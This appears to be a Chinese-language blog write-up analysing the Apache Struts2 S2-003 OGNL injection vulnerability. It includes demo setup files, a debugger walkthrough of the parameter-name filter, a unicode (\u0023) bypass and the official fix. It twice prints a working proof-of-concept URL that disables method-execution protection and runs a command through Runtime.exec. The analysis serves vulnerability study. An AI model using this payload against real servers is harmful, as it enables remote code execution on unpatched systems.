0x00 代码

loginAction.java:

1
2
3
4
5
6
7
8
9
10
package com.demo.action;

import ognl.Ognl;
import ognl.OgnlContext;

public class loginAction {
public String execute() throws Exception{
return "error";
}
}

struts.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
<package name="S2-003" extends="struts-default">
<action name="login" class="com.demo.action.loginAction" method="execute">
<interceptor-ref name="params"/>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>

0x01 POC

1
http://127.0.0.1:8080/login.action?'\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse'(bla)(bla)&'\u0023myret\[email protected]@getRuntime().exec(\'calc\')'(bla)(bla)

0x02 分析

tomcat7以上传入特殊字符会报错,所以这个漏洞需要在tomcat6下测试.

因为是param拦截器的问题,所以和S2-001一样在com.opensymphony.xwork2.interceptor.ParametersInterceptor下断.

进入setParameters(),到达com.opensymphony.xwork2.interceptor.ParametersInterceptor:170,

先对ParameterNameAware赋值,注意这里为null,所以后面不会进入acceptableParameterName()判断.

接着使用for循环遍历请求传入的参数,这里有4步操作.

(1)获取参数名;

(2)判断参数名是否合法

(3)获取参数名对应的值

(4)把参数键值对打入值栈

跟如第2步,看下他是怎么判断合法性的.到达com.opensymphony.xwork2.interceptor.ParametersInterceptor:252,

1
2
3
4
5
6
7
8
protected boolean acceptableName(String name) {
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}

可以看到,参数名不能有= , # : 这4个符号.

并且,还要使用isExcluded()方法检测,就在下面就能找到该方法的定义,

1
2
3
4
5
6
7
8
9
10
11
protected boolean isExcluded(String paramName) {
if (!this.excludeParams.isEmpty()) {
for (Pattern pattern : excludeParams) {
Matcher matcher = pattern.matcher(paramName);
if (matcher.matches()) {
return true;
}
}
}
return false;
}

使用正则excludeParams对参数名进行匹配,匹配不上就会返回false,在同文件找到其定义,

为空,所以这里返回false.

我们先假设参数通过了检测,那么下一步就是获取参数的值,然后调用setParameters()压入值栈.

跟进该方法,到达com.opensymphony.xwork2.util.OgnlValueStack:146,

继续跟进setValue(),到达同文件com.opensymphony.xwork2.util.OgnlValueStack:153,

可以看到expr传入了OgnlUtil.setValue(),作为OGNL表达式执行了.

所以,至少这里expr我们是可控的.但是不能使用#.

如果想执行命令,需要把denyMethodExecution设置为false(默认为true),该参数会禁止方法执行,这就需要用到#操作非根对象.

可以使用unicode编码来绕过,也就是\u0023.

此处POC的构造利用了Expression Evaluation.

但是为什么要用这种操作我一直没看明白,希望大佬指点.

所以最终的POC就是:

1
'\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse'(bla)(bla)&'\u0023myret\[email protected]@getRuntime().exec(\'calc\')'(bla)(bla)

网上很多POC都是针对st2-005的,对于st2-003,其实只要把denyMethodExecution设为false就行了.

0x03 修复

官方的修复是使用了白名单机制来过滤参数名(但是他的正则仍然基于黑名单),

然后又加了一个newStack(),

最后还搞出了个沙盒机制,默认禁止了静态方法的调用.

但是,这一些列操作也还是没防住,unicode编码还是能用,利用OGNL先把沙盒关闭,就又能执行命令了,这就是后面的S2-005了.

0x04 总结

这个洞相比S2-001来说要简单一些,简单来说就是St2把请求中的参数名解析为OGNL表达式执行了,虽然过滤了#,但是可以用unincode绕过.

0x05 参考

https://cwiki.apache.org/confluence/display/WW/S2-003

https://commons.apache.org/proper/commons-ognl/language-guide.html